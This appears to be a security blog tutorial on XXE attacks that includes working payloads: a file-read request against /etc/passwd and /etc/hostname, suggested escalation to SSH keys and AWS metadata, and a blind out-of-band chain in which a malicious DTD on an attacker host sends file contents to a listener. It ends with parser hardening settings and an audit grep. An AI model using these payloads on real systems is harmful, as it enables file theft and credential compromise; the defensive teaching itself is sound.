In 2019, a misconfigured XML parser in a healthcare portal exposed patient records via a trivial XXE payload — no authentication required. CVE-2019-3799 and dozens like it share the same root cause: an application that trusts user-supplied XML and resolves external entities without restriction. If your app parses XML anywhere — file uploads, SOAP endpoints, RSS feeds — you need to understand exactly how this plays out.
What XXE Actually Does
XML supports a feature called external entities — references that tell the parser to fetch content from a URI or local file and inject it into the document. Attackers abuse this to read files, trigger server-side requests, or in some cases achieve remote code execution.
A classic payload looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxe;</username>
</user>
The parser sees &xxe;, resolves the entity, reads /etc/passwd, and substitutes the file contents into the XML tree. If the application reflects that value back — in an error message, a response body, a PDF — you get the file. The attacker submits this as a login request to https://portal.acmecorp.internal/api/auth and watches the response.
Finding XXE with Burp Suite
Burp Suite — an intercepting proxy used for web app testing — has an active scanner that flags XXE candidates, but manual confirmation is faster and more reliable. Here is a real workflow against a fictional target at 192.0.2.47.
Intercept a POST request that sends XML, inject the entity declaration, and watch the response:
POST /api/import HTTP/1.1
Host: 192.0.2.47
Content-Type: application/xml
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<import><data>&xxe;</data></import>
--- Response ---
HTTP/1.1 200 OK
{"status":"imported","record":"prod-web-01\n"}
The server returned prod-web-01 — the contents of /etc/hostname. That confirms the parser resolves external entities and reflects the output. The attacker’s next move: escalate. Try file:///etc/shadow, file:///home/deploy/.ssh/id_rsa, or any config file holding credentials. On AWS, pivot to the metadata endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/.
Blind XXE: Exfiltrating Data Out-of-Band
Most modern apps do not reflect XML content directly. The parser still resolves entities — you just never see the output in the response. This is blind XXE, and it requires out-of-band exfiltration.
The technique: craft a payload that forces the server to make an HTTP request to an attacker-controlled host, carrying the file contents in the URL. Use Interactsh (a lightweight OOB interaction server) or Burp Collaborator to catch the callback.
# Attacker hosts a malicious DTD at http://192.0.2.99/evil.dtd
# evil.dtd contents:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY send SYSTEM 'http://192.0.2.99/out?data=%file;'>">
%exfil;
# Payload sent to 192.0.2.47:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://192.0.2.99/evil.dtd">
%remote;
]>
<order><id>&send;</id></order>
# Interactsh listener output on 192.0.2.99:
[HTTP] 192.0.2.47 GET /out?data=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1...
The target server fetched evil.dtd, executed the entity chain, read /etc/passwd, and sent it to the attacker’s listener as a URL-encoded query parameter. The parser did all the work. No authentication bypass needed — just a trusted XML endpoint and an outbound HTTP connection.
Once you see that callback, you have arbitrary file read. From here, attackers target AWS credential files, database connection strings in /var/www/html/config.php, or private keys under /home/appuser/.ssh/.
Blocking XXE: What Actually Works
Disabling external entity resolution in your XML parser is the only reliable fix. The right call depends on your language:
- Java (DocumentBuilderFactory):
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Python (lxml):
etree.XMLParser(resolve_entities=False, no_network=True) - PHP (libxml):
libxml_disable_entity_loader(true);before any parse call - C# (.NET): Set
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit
WAF rules help at the perimeter but do not substitute for fixing the parser. Attackers encode payloads in UTF-16, use nested parameter entities, or split the DOCTYPE across chunked requests to bypass pattern matching.
What To Do Now
Open your codebase and grep for every location that instantiates an XML parser: grep -rn "DocumentBuilder\|XMLParser\|simplexml_load\|ElementTree" /var/www/app/. For each result, check whether DTD processing is explicitly disabled. If it is not, that is a live finding. Fix one parser today — not in the next sprint, today — and you close the door on the entire class of attack.
